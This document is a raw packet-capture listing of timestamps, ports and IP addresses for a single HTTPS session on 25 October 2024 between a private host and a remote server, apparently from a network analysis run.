Oct 25, 2024 19:47:15.290324926 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.290352106 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.290394068 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.290417910 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.290597916 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.290597916 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.319993973 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.320030928 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.320081949 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.320103884 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.320157051 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.320157051 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.326325893 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.326350927 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.326390982 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.326412916 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.326428890 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.326428890 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.327025890 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.327054024 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.327100992 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.327100992 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.327111006 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.327127934 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.347340107 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.347368002 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.347709894 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.347728968 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.348098993 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.389730930 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.389772892 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.389878035 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.389878035 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.389900923 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.389975071 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.436983109 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.437015057 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.437056065 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.437128067 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.437149048 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.437200069 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.437200069 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.443237066 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.443257093 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.443284988 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.443322897 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.443329096 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.443329096 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.443342924 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.443835974 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.443867922 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.443914890 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.443914890 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.443923950 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.444432974 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.444561958 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.444586039 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.444628954 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.444628954 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.444636106 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.444797039 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.506231070 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.506262064 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.506448030 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.506448030 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.506468058 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.526108980 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.526134968 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.526156902 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.526387930 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.526387930 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.526387930 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.526398897 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.554786921 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.554833889 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.554874897 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.554882050 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.554882050 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.554898024 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.554928064 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.554928064 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.560247898 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.560281992 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.560338020 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.560338020 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.560347080 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.560666084 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.561005116 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.561034918 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.561084032 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.561084032 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.561091900 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.582757950 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.582782030 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.582807064 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.582814932 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.582926989 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.623523951 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.623574972 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.623620987 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.623620987 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.623629093 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.623713970 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.643306971 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.643341064 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.643385887 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.643385887 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.643398046 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.643415928 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.671633005 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.671663046 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.671735048 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.671735048 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.671742916 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.677314997 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.677337885 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.677381039 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.677388906 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.677421093 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.678122044 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.678149939 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.678204060 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.678204060 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.678210974 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.699803114 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.699826956 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.699886084 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.699886084 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.699893951 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.699949026 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.741211891 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.741255045 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.741302967 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.741322041 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.741362095 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.741362095 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.760312080 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.760338068 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.760399103 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.760399103 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.760418892 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.760447979 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.788728952 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.788758039 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.788861036 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.788872957 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.789700031 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.794171095 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.794193983 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.794250011 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.794264078 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.794926882 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.795063972 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.795092106 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.795099974 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.795119047 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.795156002 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.795156002 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.795164108 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.795298100 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.795793056 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.795814991 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.795877934 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.795877934 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.795886993 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.857386112 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.857428074 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.857467890 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.857481003 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.857676029 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.858671904 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.858681917 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.858705044 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.858715057 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.858757019 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.858757019 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.858764887 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.858815908 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.877907038 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.877919912 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.877959967 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:15.878011942 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.878011942 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:15.878021002 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.075500965 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.133013964 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.133055925 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.133083105 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.133094072 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.133130074 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.133131027 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.133155107 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.133174896 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.133174896 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.133174896 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.133194923 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.133205891 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.133372068 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.133440971 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.133461952 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.133512974 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.133512974 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.133522987 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.133568048 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.133574009 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.133589029 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.133609056 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.133630991 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.133631945 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.133631945 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.133752108 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.135709047 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.135732889 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.135750055 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.135785103 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.135785103 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.135818005 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.135838032 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.135843992 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.135862112 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.135868073 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.135987997 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.136030912 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.136050940 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.136123896 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.136137009 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.136147022 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.136169910 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.136187077 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.136187077 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.136862040 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.136928082 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.136981010 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.136981010 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.136995077 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.137650967 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.137721062 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.137721062 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.137749910 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.137815952 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.138436079 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.138499975 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.138506889 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.138529062 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.138556004 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.138705969 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.138780117 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.138782024 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.138806105 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.138865948 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.139475107 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.139543056 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.139550924 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.139569044 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.139619112 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.140196085 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.140265942 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.140326977 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.140326977 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.140337944 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.140749931 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.140815020 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.140867949 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.140867949 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.140877008 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.141293049 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.141366959 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.141380072 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.141393900 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.141457081 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.145704031 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.145761013 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.145768881 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.145798922 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.145865917 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.146342993 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.146400928 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.146419048 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.146445990 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.146490097 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.146550894 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.147732019 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.147800922 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.147831917 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.147840977 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.147854090 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.148086071 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.148298025 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.148379087 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.148379087 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.148403883 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.148438931 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.149048090 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.149136066 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.149151087 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.149164915 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.149199963 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.149799109 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.149858952 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.149863958 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.149890900 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.149939060 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.209152937 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.209234953 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.209249973 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.209280968 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.209343910 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.209604979 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.210558891 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.210586071 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.210628033 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.210656881 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.210680008 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.210736036 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.251003981 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.251074076 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.251091003 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.251106977 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.251136065 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.251161098 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.264595032 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.264633894 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.264671087 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.264708042 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.264754057 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.264763117 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.264789104 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.264916897 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.264969110 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.264976978 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.265002966 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:16.265116930 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:16.265126944 CEST	443	49174	142.250.185.97	192.168.2.22
